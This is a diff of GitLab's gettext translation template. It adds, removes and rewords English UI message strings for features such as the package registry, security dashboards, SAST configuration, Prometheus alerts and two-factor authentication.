@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
